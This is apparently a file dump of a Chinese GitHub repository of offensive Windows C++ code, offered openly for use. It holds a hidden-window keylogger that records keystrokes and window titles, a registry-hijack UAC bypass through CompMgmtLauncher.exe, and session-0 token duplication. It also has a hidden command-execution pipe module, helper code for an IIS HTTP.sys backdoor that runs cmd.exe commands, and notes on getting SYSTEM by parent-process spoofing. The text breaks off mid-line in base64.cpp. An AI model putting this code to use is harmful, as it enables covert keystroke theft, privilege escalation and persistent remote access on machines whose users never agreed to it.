├── .gitignore ├── 键盘记录 ├── readme.txt └── 利用原始输入获取 │ ├── main.cpp │ ├── readme.txt │ ├── RawInput.h │ ├── RawInput.cpp │ └── VirtualKeyToAscii.h ├── Bypass UAC 各种姿势 ├── readme.txt └── 通过白名单CompMgmtLauncher.exe │ ├── readme.txt │ └── CompMgmtLauncher_bypassUAC.cpp ├── .gitattributes ├── session0 降权启动程序 ├── readme.txt └── CreateProcessAsUser.cpp ├── 资源释放 ├── FreeResource.cpp └── readme.txt ├── 内存加载执行exe └── readme.md ├── 通用命令执行模块 ├── Main.cpp ├── README.md ├── Cmd.h └── Cmd.cpp ├── 枚举防火墙出入站规则 ├── readme.txt ├── EnumeratingFirewallRules.cpp └── EnumeratingFirewallRules_FilterUserRule.cpp ├── IIS正向后门 ├── README.md ├── base64.h ├── precomp.h ├── base64.cpp └── main.cpp ├── 提升system权限 ├── readme.txt └── becoming-system-via-parent.cpp ├── README.md ├── 运行单一实例 └── IsAlreadyRun.cpp └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /键盘记录/readme.txt: -------------------------------------------------------------------------------- 1 | 1.利用原始输入模型,直接从输入设备获取 -------------------------------------------------------------------------------- /Bypass UAC 各种姿势/readme.txt: -------------------------------------------------------------------------------- 1 | 收集可用的bypassuac -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /session0 降权启动程序/readme.txt: -------------------------------------------------------------------------------- 1 | 此代码必须在session0的上下文中运行才能建立当前用户权限的进程。 2 | 3 | session 0可以是系统服务也就是system权限下。 -------------------------------------------------------------------------------- /资源释放/FreeResource.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Reuodut/Windows-Hack-Code/HEAD/资源释放/FreeResource.cpp -------------------------------------------------------------------------------- /Bypass UAC 各种姿势/通过白名单CompMgmtLauncher.exe /readme.txt: -------------------------------------------------------------------------------- 1 | 1703 及以上系统失效 2 | 3 | 由于修改了注册表,极易被杀软查杀,已知 卡巴 360 被杀 -------------------------------------------------------------------------------- /键盘记录/利用原始输入获取/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Reuodut/Windows-Hack-Code/HEAD/键盘记录/利用原始输入获取/main.cpp -------------------------------------------------------------------------------- /内存加载执行exe/readme.md: -------------------------------------------------------------------------------- 1 | 通杀 32位 64位 xp win7、8、10的 exe内存加载执行实在太难了 2 | 3 | 小弟目前还在摸索阶段,问了一位看雪老哥 源码太贵了,望而却步... 4 | 5 | 等小弟研究出来那一刻,一定上传此仓库 6 | -------------------------------------------------------------------------------- /资源释放/readme.txt: -------------------------------------------------------------------------------- 1 | 本实例展示如何释放资源文件到本地. 2 | 3 | 首先在VS中建立自定义资源类型 DATA 4 | 5 | 然后导入自定义资源 VS会自动生成 Reasource.h 生成自定义资源名 6 | 7 | 依次传入 资源名、类型名、保存到本地的文件名 到FreeMyResource函数中 -------------------------------------------------------------------------------- /通用命令执行模块/Main.cpp: -------------------------------------------------------------------------------- 1 | #include "Cmd.h" 2 | 3 | int main() 4 | { 5 | //example 6 | string result; 7 | result = RunCommand("ping baidu.com"); 8 | return 0; 9 | } -------------------------------------------------------------------------------- /键盘记录/利用原始输入获取/readme.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 通过注册输入设备获取键盘记录,此方法较其他方法更为强大,可获取几乎全部窗口下的键盘记录。 4 | 5 | 程序根据《Windows黑客编程详解》-甘迪文 一书中修改而来,修改后通过CreateWindow 获取消息,实现了窗口隐藏功能。 6 | 7 | 程序编译时请设置 子系统为 WINDOWS ,字符集为 多字符集 -------------------------------------------------------------------------------- /枚举防火墙出入站规则/readme.txt: -------------------------------------------------------------------------------- 1 | 为了使得中文输出正确引入了以下代码 2 | 3 | #include 4 | 5 | setlocale(LC_ALL, "chs"); 6 | 7 | EnumeratingFirewallRules : 枚举导出所有规则 8 | EnumeratingFirewallRules_FilterUserRule : 过滤掉系统规则。导出用户自定义规则 -------------------------------------------------------------------------------- /通用命令执行模块/README.md: -------------------------------------------------------------------------------- 1 | EXEC模块,可直接在程序中调用 2 | 3 | 仅适用于windows,正在完善中... 4 | 5 | 示例: 6 | 7 | #include "Cmd.h" 8 | 9 | int main() 10 | 11 | { 12 | //example 13 | 14 | string result; 15 | 16 | result = RunCommand("ping baidu.com"); 17 | 18 | return 0; 19 | 20 | } 21 | -------------------------------------------------------------------------------- /键盘记录/利用原始输入获取/RawInput.h: -------------------------------------------------------------------------------- 1 | #ifndef _RAW_INPUT_TEST_H_ 2 | #define _RAW_INPUT_TEST_H_ 3 | 4 | 5 | #include 6 | #include 7 | 8 | 9 | // 注册原始输入设备 10 | BOOL Init(HWND hWnd); 11 | 12 | // 获取原始输入数据 13 | BOOL GetData(LPARAM lParam); 14 | 15 | // 保存按键信息 16 | void SaveKey(USHORT usVKey); 17 | 18 | 19 | #endif -------------------------------------------------------------------------------- /IIS正向后门/README.md: -------------------------------------------------------------------------------- 1 | 本程序利用HTTP.sys官方接口,向该驱动注册url前缀,与IIS共享端口,从而实现后门功能。 2 | 3 | 官方文档:https://docs.microsoft.com/zh-cn/windows/win32/http/http-api-start-page 4 | 5 | 程序说明:http://reuodut.github.io/2019/07/%E7%AB%AF%E5%8F%A3%E5%A4%8D%E7%94%A8-%E4%BD%BF%E7%94%A8HTTP-Server-API-%E5%AE%9E%E7%8E%B0-IIS-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%AD%A3%E5%90%91%E5%90%8E%E9%97%A8-C++%E5%AE%9E%E7%8E%B0/ -------------------------------------------------------------------------------- /提升system权限/readme.txt: -------------------------------------------------------------------------------- 1 | 记录通过管理员权限获取system权限的方法: 2 | 1、通过父进程(becoming-system-via-parent) 3 | CreateProcessA函数允许用户创建新进程,默认情况下,会通过其继承的父进程完成创建。该函数有一个名为“lpStartupInfo”的参数,该参数允许使用者自定义要使用的父进程。该功能最初用于Windows Vista中设置UAC。 4 | lpStartupInfo参数指向一个名为“STARTUPINFOEX”的结构体,该结构包含变量“lpAttributeList”,这个变量在初始化时可以调用“UpdateProcThreadAttribute”回调函数进行属性添加,你可以通过“PROC_THREAD_ATTRIBUTE_PARENT_PROCESS”属性从而对父进程进行设置。 5 | 参考:https://blog.xpnsec.com/becoming-system/ 6 | 7 | 2、待续 -------------------------------------------------------------------------------- /IIS正向后门/base64.h: -------------------------------------------------------------------------------- 1 | // 2 | // base64 encoding and decoding with C++. 3 | // Version: 1.01.00 4 | // 5 | 6 | #ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A 7 | #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A 8 | 9 | #include 10 | 11 | std::string base64_encode(unsigned char const* , unsigned int len); 12 | std::string base64_decode(std::string const& s); 13 | 14 | #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows-Hack-Code 2 | windows hack (C/C++)编程技巧及通用模块 觉得有用就✨一下吧 ^ ^ 3 | 4 | 更新记录: 5 | 6 | 日期 | 项目名 | 介绍 7 | -|-|- 8 | 2019-10-23 | session0降权启动进程 | system权限下获取当前活动用户令牌创建进程 | 9 | 2019-10-23 | BypassUAC项目 | bypassUAC 各种方法&代码 | 10 | 2019-10-24 | 枚举出入站规则/导出用户自定义规则 | Windows api 导出出入站规则并过滤 | 11 | 2019-10-24 | 判断单一运行实例 | 通过建立互斥体来判断程序单一运行实例 | 12 | 2019-10-25 | 键盘记录 | 多种方式实现WINDOWS 键盘记录程序 | 13 | 2019-10-25 | 通用命令执行模块 | 通过管道获取命令执行结果 | 14 | 2019-10-25 | 资源释放 | 资源释放过程代码 | 15 | 2019-10-25 | 内存加载执行exe | 直接内存执行exe 本地不留痕迹 | 16 | 2019-11-13 | IIS正向后门 | 与IIS共享端口,从而实现后门 | 17 | 2019-12-08 | 提升system权限 | 设置父进程获取system权限 | 18 | 19 | 20 | 安全编程交流:NzgyNDIxODg3 21 | -------------------------------------------------------------------------------- /运行单一实例/IsAlreadyRun.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | using namespace std; 5 | 6 | BOOL IsAleadyRun() 7 | { 8 | HANDLE hMutex = NULL; 9 | hMutex = CreateMutex(NULL, FALSE, L"TEST"); 10 | if (hMutex) 11 | { 12 | if (ERROR_ALREADY_EXISTS == GetLastError()) 13 | { 14 | return TRUE; 15 | } 16 | } 17 | return FALSE; 18 | //不要使用CloseHandle函数来关闭互斥对象的句柄, 关闭后互斥对象会被释放 19 | } 20 | 21 | int main () 22 | { 23 | BOOL ret = IsAleadyRun(); 24 | 25 | if (ret) 26 | { 27 | cout << "TEST is already run !" << endl; 28 | } 29 | else 30 | { 31 | cout << "First run of TEST program !" << endl; 32 | } 33 | 34 | system("pause"); 35 | return 0; 36 | } -------------------------------------------------------------------------------- /通用命令执行模块/Cmd.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | using namespace std; 6 | 7 | struct Pipes 8 | { 9 | HANDLE h_Childprocess_IN_Rd = NULL; 10 | HANDLE h_Childprocess_IN_Wr = NULL; 11 | HANDLE h_Childprocess_OUT_Rd = NULL; 12 | HANDLE h_Childprocess_OUT_Wr = NULL; 13 | }; 14 | 15 | //Initialize Cmd 16 | int CmdInitialize(Pipes *p); 17 | 18 | // Check current system version 19 | void CheeckSystem(); 20 | 21 | // Command formatting 22 | string CommandFormat(IN string command); 23 | 24 | // Send command to Pipe 25 | int SendCommand_To_Pipe(Pipes *p, IN string command); 26 | 27 | // Get result form Pipe 28 | string GetResult_From_Pipe(Pipes *p); 29 | 30 | // Run Command 31 | string RunCommand(IN string command); -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 reuodut 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Bypass UAC 各种姿势/通过白名单CompMgmtLauncher.exe /CompMgmtLauncher_bypassUAC.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | void ShowError(char *pszText) 5 | { 6 | char szErr[MAX_PATH] = { 0 }; 7 | ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); 8 | #ifdef _DEBUG 9 | ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR); 10 | #endif 11 | } 12 | 13 | 14 | // 修改注册表 15 | BOOL SetReg(char *lpszExePath) 16 | { 17 | HKEY hKey = NULL; 18 | // 创建项 19 | ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); 20 | if (NULL == hKey) 21 | { 22 | ShowError("RegCreateKeyEx"); 23 | return FALSE; 24 | } 25 | // 设置键值 26 | ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath))); 27 | // 关闭注册表 28 | ::RegCloseKey(hKey); 29 | return TRUE; 30 | } 31 | 32 | 33 | int _tmain(int argc, _TCHAR* argv[]) 34 | { 35 | BOOL bRet = FALSE; 36 | PVOID OldValue = NULL; 37 | // 关闭文件重定位 38 | ::Wow64DisableWow64FsRedirection(&OldValue); 39 | 40 | // 修改注册表 41 | bRet = SetReg("C:\\Users\\user\\Desktop\\hfs.exe"); 42 | //bRet = SetReg("C:\\Windows\\System32\\cmd.exe"); 43 | if (bRet) 44 | { 45 | // 运行 CompMgmtLauncher.exe 46 | system("CompMgmtLauncher.exe"); 47 | printf("Run OK!\n"); 48 | } 49 | else 50 | { 51 | printf("Run ERROR!\n"); 52 | } 53 | 54 | // 恢复文件重定位 55 | ::Wow64RevertWow64FsRedirection(OldValue); 56 | 57 | system("pause"); 58 | return 0; 59 | } 60 | 61 | -------------------------------------------------------------------------------- /session0 降权启动程序/CreateProcessAsUser.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | #pragma comment(lib, "UserEnv.lib") 6 | #pragma comment(lib, "WtsApi32.lib") 7 | 8 | // 突破SESSION 0隔离创建用户进程 传入程序路径 9 | BOOL CreateUserProcess(char *lpszFileName) 10 | { 11 | BOOL bRet = TRUE; 12 | DWORD dwSessionID = 0; 13 | HANDLE hToken = NULL; 14 | HANDLE hDuplicatedToken = NULL; 15 | LPVOID lpEnvironment = NULL; 16 | STARTUPINFO si = { 0 }; 17 | PROCESS_INFORMATION pi = { 0 }; 18 | si.cb = sizeof(si); 19 | 20 | do 21 | { 22 | // 获得当前Session ID 23 | dwSessionID = ::WTSGetActiveConsoleSessionId(); 24 | 25 | // 获得当前Session的用户令牌 26 | if (FALSE == ::WTSQueryUserToken(dwSessionID, &hToken)) 27 | { 28 | ShowMessage("WTSQueryUserToken", "ERROR"); 29 | bRet = FALSE; 30 | break; 31 | } 32 | 33 | // 复制令牌 34 | if (FALSE == ::DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, 35 | SecurityIdentification, TokenPrimary, &hDuplicatedToken)) 36 | { 37 | ShowMessage("DuplicateTokenEx", "ERROR"); 38 | bRet = FALSE; 39 | break; 40 | } 41 | 42 | // 创建用户Session环境 43 | if (FALSE == ::CreateEnvironmentBlock(&lpEnvironment, 44 | hDuplicatedToken, FALSE)) 45 | { 46 | ShowMessage("CreateEnvironmentBlock", "ERROR"); 47 | bRet = FALSE; 48 | break; 49 | } 50 | 51 | // 在复制的用户Session下执行应用程序,创建进程 52 | if (FALSE == ::CreateProcessAsUser(hDuplicatedToken, 53 | lpszFileName, NULL, NULL, NULL, FALSE, 54 | NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, 55 | lpEnvironment, NULL, &si, &pi)) 56 | { 57 | ShowMessage("CreateProcessAsUser", "ERROR"); 58 | bRet = FALSE; 59 | break; 60 | } 61 | 62 | } while (FALSE); 63 | // 关闭句柄, 释放资源 64 | if (lpEnvironment) 65 | { 66 | ::DestroyEnvironmentBlock(lpEnvironment); 67 | } 68 | if (hDuplicatedToken) 69 | { 70 | ::CloseHandle(hDuplicatedToken); 71 | } 72 | if (hToken) 73 | { 74 | ::CloseHandle(hToken); 75 | } 76 | return bRet; 77 | } 78 | -------------------------------------------------------------------------------- /键盘记录/利用原始输入获取/RawInput.cpp: -------------------------------------------------------------------------------- 1 | #include "RawInput.h" 2 | #include "VirtualKeyToAscii.h" 3 | 4 | 5 | void ShowError(char *pszText) 6 | { 7 | char szErr[MAX_PATH] = { 0 }; 8 | ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); 9 | ::MessageBox(NULL, szErr, "ERROR", MB_OK); 10 | } 11 | 12 | 13 | // 注册原始输入设备 14 | BOOL Init(HWND hWnd) 15 | { 16 | // 设置 RAWINPUTDEVICE 结构体信息 17 | RAWINPUTDEVICE rawinputDevice = { 0 }; 18 | rawinputDevice.usUsagePage = 0x01; 19 | rawinputDevice.usUsage = 0x06; 20 | rawinputDevice.dwFlags = RIDEV_INPUTSINK; 21 | rawinputDevice.hwndTarget = hWnd; 22 | // 注册原始输入设备 23 | BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice)); 24 | if (FALSE == bRet) 25 | { 26 | ShowError("RegisterRawInputDevices"); 27 | return FALSE; 28 | } 29 | 30 | return TRUE; 31 | } 32 | 33 | 34 | // 获取原始输入数据 35 | BOOL GetData(LPARAM lParam) 36 | { 37 | RAWINPUT rawinputData = { 0 }; 38 | UINT uiSize = sizeof(rawinputData); 39 | 40 | // 获取原始输入数据的大小 41 | ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER)); 42 | if (RIM_TYPEKEYBOARD == rawinputData.header.dwType) 43 | { 44 | // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) 45 | if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) || 46 | (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message)) 47 | { 48 | // 记录按键 49 | SaveKey(rawinputData.data.keyboard.VKey); 50 | } 51 | } 52 | return TRUE; 53 | } 54 | 55 | 56 | // 保存按键信息 57 | void SaveKey(USHORT usVKey) 58 | { 59 | char szKey[MAX_PATH] = { 0 }; 60 | char szTitle[MAX_PATH] = { 0 }; 61 | char szText[MAX_PATH] = { 0 }; 62 | FILE *fp = NULL; 63 | // 获取顶层窗口 64 | HWND hForegroundWnd = ::GetForegroundWindow(); 65 | // 获取顶层窗口标题 66 | ::GetWindowText(hForegroundWnd, szTitle, 256); 67 | // 将虚拟键码转换成对应的ASCII 68 | ::lstrcpy(szKey, GetKeyName(usVKey)); 69 | // 构造按键记录信息字符串 70 | ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey); 71 | // 打开文件写入按键记录数据 72 | ::fopen_s(&fp, "keylog.txt", "a+"); 73 | if (NULL == fp) 74 | { 75 | ShowError("fopen_s"); 76 | return; 77 | } 78 | ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp); 79 | ::fclose(fp); 80 | } -------------------------------------------------------------------------------- /IIS正向后门/precomp.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define _CRT_SECURE_NO_WARNINGS 3 | #ifndef UNICODE 4 | #define UNICODE 5 | #endif 6 | 7 | #ifndef _WIN32_WINNT 8 | #define _WIN32_WINNT 0x0600 9 | #endif 10 | 11 | #ifndef WIN32_LEAN_AND_MEAN 12 | #define WIN32_LEAN_AND_MEAN 13 | #endif 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include "base64.h" 21 | 22 | #pragma comment( linker, "/subsystem:\"windows\" /entry:\"wmainCRTStartup\"" ) 23 | #pragma comment(lib, "httpapi.lib") 24 | using namespace std; 25 | 26 | #define MSG_LEN 1024 27 | int cmd(char *cmdStr, char *message) 28 | { 29 | DWORD readByte = 0; 30 | char command[1024] = { 0 }; 31 | char buf[MSG_LEN] = { 0 }; 32 | 33 | HANDLE hRead, hWrite; 34 | STARTUPINFO si; 35 | PROCESS_INFORMATION pi; 36 | SECURITY_ATTRIBUTES sa; 37 | sprintf(command, "cmd.exe /c %s", cmdStr); 38 | 39 | 40 | 41 | sa.nLength = sizeof(sa); 42 | sa.bInheritHandle = TRUE; 43 | sa.lpSecurityDescriptor = NULL; 44 | 45 | if (!CreatePipe(&hRead, &hWrite, &sa, 1024)) 46 | { 47 | printf("1-Error: %xn", (unsigned int)GetLastError()); 48 | return 0; 49 | } 50 | 51 | ZeroMemory(&si, sizeof(si)); 52 | si.cb = sizeof(si); // 53 | si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 54 | si.wShowWindow = SW_HIDE; 55 | 56 | si.hStdOutput = si.hStdError = hWrite; 57 | 58 | int ret = CreateProcessA( 59 | NULL, 60 | command, 61 | NULL, 62 | NULL, 63 | TRUE, 64 | 0, 65 | NULL, 66 | NULL, 67 | (LPSTARTUPINFOA)&si, 68 | &pi); 69 | if (!ret) 70 | { 71 | int e = GetLastError(); 72 | printf("2-Error: %xn", (unsigned int)GetLastError()); 73 | CloseHandle(hRead); 74 | CloseHandle(hWrite); 75 | return 0; 76 | } 77 | 78 | CloseHandle(hWrite); 79 | 80 | 81 | while (ReadFile(hRead, buf, MSG_LEN, &readByte, NULL)) 82 | { 83 | strcat(message, buf); 84 | ZeroMemory(buf, MSG_LEN); 85 | } 86 | 87 | //printf("-- [CMD] Message: [%s] Length:%d n", message, strlen(message) + 1); 88 | 89 | CloseHandle(hRead); 90 | return 1; 91 | } 92 | 93 | int execmd(char* cmd, char* result) { 94 | char buffer[128]; 95 | FILE* pipe = _popen(cmd, "r"); 96 | if (!pipe) 97 | return 0; 98 | int count = 0; 99 | while (!feof(pipe)) { 100 | if (fgets(buffer, 128, pipe)) { 101 | try 102 | { 103 | strcat(result, buffer); 104 | } 105 | catch (const std::exception&) 106 | { 107 | break; 108 | } 109 | 110 | } 111 | else { 112 | count++; 113 | } 114 | 115 | } 116 | _pclose(pipe); 117 | return 1; 118 | } 119 | 120 | void string_replace(std::string &strBig, const std::string &strsrc, const std::string &strdst) 121 | { 122 | std::string::size_type pos = 0; 123 | std::string::size_type srclen = strsrc.size(); 124 | std::string::size_type dstlen = strdst.size(); 125 | 126 | while ((pos = strBig.find(strsrc, pos)) != std::string::npos) 127 | { 128 | strBig.replace(pos, srclen, strdst); 129 | pos += dstlen; 130 | } 131 | } 132 | char* wideCharToMultiByte(wchar_t* pWCStrKey) 133 | { 134 | 135 | int pSize = WideCharToMultiByte(CP_OEMCP, 0, pWCStrKey, wcslen(pWCStrKey), NULL, 0, NULL, NULL); 136 | char* pCStrKey = new char[pSize + 1]; 137 | 138 | WideCharToMultiByte(CP_OEMCP, 0, pWCStrKey, wcslen(pWCStrKey), pCStrKey, pSize, NULL, NULL); 139 | pCStrKey[pSize] = '\0'; 140 | return pCStrKey; 141 | } 142 | 143 | void SplitString(const string& s, vector& v, const string& c) 144 | { 145 | string::size_type pos1, pos2; 146 | pos2 = s.find(c); 147 | pos1 = 0; 148 | while (string::npos != pos2) 149 | { 150 | v.push_back(s.substr(pos1, pos2 - pos1)); 151 | 152 | pos1 = pos2 + c.size(); 153 | pos2 = s.find(c, pos1); 154 | } 155 | if (pos1 != s.length()) 156 | v.push_back(s.substr(pos1)); 157 | } -------------------------------------------------------------------------------- /通用命令执行模块/Cmd.cpp: -------------------------------------------------------------------------------- 1 | #include "Cmd.h" 2 | 3 | //Initialize Cmd 4 | int CmdInitialize(Pipes *p) 5 | { 6 | SECURITY_ATTRIBUTES saAttr; 7 | 8 | saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); 9 | saAttr.bInheritHandle = TRUE; 10 | saAttr.lpSecurityDescriptor = NULL; 11 | 12 | if (!CreatePipe(&(p->h_Childprocess_OUT_Rd), &(p->h_Childprocess_OUT_Wr), &saAttr, 0)) 13 | { 14 | printf("Error on CreatePipe!\n"); 15 | return -1; 16 | } 17 | 18 | if (!SetHandleInformation(p->h_Childprocess_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) 19 | { 20 | printf("Error on SetHandleInformation!\n"); 21 | return -1; 22 | } 23 | 24 | if (!CreatePipe(&(p->h_Childprocess_IN_Rd), &(p->h_Childprocess_IN_Wr), &saAttr, 0)) 25 | { 26 | printf("Error on CreatePipe!\n"); 27 | return -1; 28 | } 29 | 30 | if (!SetHandleInformation(p->h_Childprocess_IN_Wr, HANDLE_FLAG_INHERIT, 0)) 31 | { 32 | printf("Error on SetHandleInformation\n"); 33 | return -1; 34 | } 35 | 36 | 37 | PROCESS_INFORMATION piProceInfo; 38 | STARTUPINFO siStartInfo; 39 | BOOL bSuccess = FALSE; 40 | 41 | ZeroMemory(&piProceInfo, sizeof(PROCESS_INFORMATION)); 42 | 43 | ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); 44 | siStartInfo.cb = sizeof(STARTUPINFO); 45 | siStartInfo.wShowWindow = SW_HIDE; 46 | siStartInfo.hStdError = p->h_Childprocess_OUT_Wr; 47 | siStartInfo.hStdOutput = p->h_Childprocess_OUT_Wr; 48 | siStartInfo.hStdInput = p->h_Childprocess_IN_Rd; 49 | siStartInfo.dwFlags |= STARTF_USESTDHANDLES; 50 | 51 | // Create child process 52 | bSuccess = CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &siStartInfo, &piProceInfo); 53 | if (!bSuccess) 54 | { 55 | #ifdef _DEBUG 56 | printf("Error on CreateProcess! %d\n", GetLastError()); 57 | #endif // _DEBUG 58 | return -1; 59 | } 60 | else 61 | { 62 | CloseHandle(piProceInfo.hProcess); 63 | CloseHandle(piProceInfo.hThread); 64 | } 65 | 66 | 67 | return 0; 68 | } 69 | 70 | // Check current system version 71 | void CheeckSystem() 72 | { 73 | 74 | } 75 | 76 | // Command formatting 77 | string CommandFormat(IN string command) 78 | { 79 | return ""; 80 | } 81 | 82 | //Send command to Pipe 83 | int SendCommand_To_Pipe(Pipes *p, IN string command) 84 | { 85 | DWORD dwWrite = 0; 86 | char * command_char = (char *)command.c_str(); 87 | BOOL ret = WriteFile(p->h_Childprocess_IN_Wr, command_char, strlen(command_char), &dwWrite, NULL); 88 | if (!ret) 89 | { 90 | printf("Error on WriteFile!\n"); 91 | return -1; 92 | } 93 | } 94 | 95 | // Get result form Pipe 96 | string GetResult_From_Pipe(Pipes *p) 97 | { 98 | string result; 99 | char * buff = (char *)malloc(2048); 100 | BOOL bSuccess = false; 101 | DWORD dwRead = 0; 102 | DWORD dwBytesRead = 0; 103 | PeekNamedPipe(p->h_Childprocess_OUT_Rd, NULL, 0, NULL, &dwBytesRead, NULL); 104 | 105 | while (true) 106 | { 107 | ZeroMemory(buff, 2048); 108 | 109 | if (dwBytesRead <= 0) 110 | { 111 | break; 112 | } 113 | 114 | bSuccess = ReadFile(p->h_Childprocess_OUT_Rd, buff, 2048, &dwRead, NULL); 115 | 116 | if (!bSuccess) 117 | { 118 | printf("Error on ReadFile!\n"); 119 | return result; 120 | } 121 | result += buff; 122 | dwBytesRead -= dwRead; 123 | dwRead = 0; 124 | } 125 | 126 | free(buff); 127 | return result; 128 | 129 | } 130 | 131 | // Close cmd 132 | int CloseCmd(Pipes *p) 133 | { 134 | return SendCommand_To_Pipe(p, "exit\n"); 135 | } 136 | 137 | // Run Command 138 | string RunCommand(IN string command) 139 | { 140 | Pipes *p = (Pipes *)malloc(sizeof(Pipes)); 141 | ZeroMemory(p, sizeof(Pipes)); 142 | 143 | CmdInitialize(p); 144 | 145 | // Send command to pipe and childprocess 146 | SendCommand_To_Pipe(p, command + "\n"); 147 | Sleep(1000); 148 | 149 | // Get result form Pipe 150 | string result; 151 | while (TRUE) 152 | { 153 | result += GetResult_From_Pipe(p); 154 | char * p = (char*)result.c_str(); 155 | // Command execution completed 156 | if (p[strlen(p)-1] == '>') 157 | { 158 | break; 159 | } 160 | Sleep(1000); 161 | } 162 | CloseCmd(p); 163 | return result; 164 | 165 | } -------------------------------------------------------------------------------- /IIS正向后门/base64.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | base64.cpp and base64.h 3 | 4 | base64 encoding and decoding with C++. 5 | 6 | Version: 1.01.00 7 | 8 | Copyright (C) 2004-2017 René Nyffenegger 9 | 10 | This source code is provided 'as-is', without any express or implied 11 | warranty. In no event will the author be held liable for any damages 12 | arising from the use of this software. 13 | 14 | Permission is granted to anyone to use this software for any purpose, 15 | including commercial applications, and to alter it and redistribute it 16 | freely, subject to the following restrictions: 17 | 18 | 1. The origin of this source code must not be misrepresented; you must not 19 | claim that you wrote the original source code. If you use this source code 20 | in a product, an acknowledgment in the product documentation would be 21 | appreciated but is not required. 22 | 23 | 2. Altered source versions must be plainly marked as such, and must not be 24 | misrepresented as being the original source code. 25 | 26 | 3. This notice may not be removed or altered from any source distribution. 27 | 28 | René Nyffenegger rene.nyffenegger@adp-gmbh.ch 29 | 30 | */ 31 | 32 | #include "base64.h" 33 | #include 34 | 35 | static const std::string base64_chars = 36 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 37 | "abcdefghijklmnopqrstuvwxyz" 38 | "0123456789+/"; 39 | 40 | 41 | static inline bool is_base64(unsigned char c) { 42 | return (isalnum(c) || (c == '+') || (c == '/')); 43 | } 44 | 45 | std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { 46 | std::string ret; 47 | int i = 0; 48 | int j = 0; 49 | unsigned char char_array_3[3]; 50 | unsigned char char_array_4[4]; 51 | 52 | while (in_len--) { 53 | char_array_3[i++] = *(bytes_to_encode++); 54 | if (i == 3) { 55 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 56 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 57 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 58 | char_array_4[3] = char_array_3[2] & 0x3f; 59 | 60 | for(i = 0; (i <4) ; i++) 61 | ret += base64_chars[char_array_4[i]]; 62 | i = 0; 63 | } 64 | } 65 | 66 | if (i) 67 | { 68 | for(j = i; j < 3; j++) 69 | char_array_3[j] = '\0'; 70 | 71 | char_array_4[0] = ( char_array_3[0] & 0xfc) >> 2; 72 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 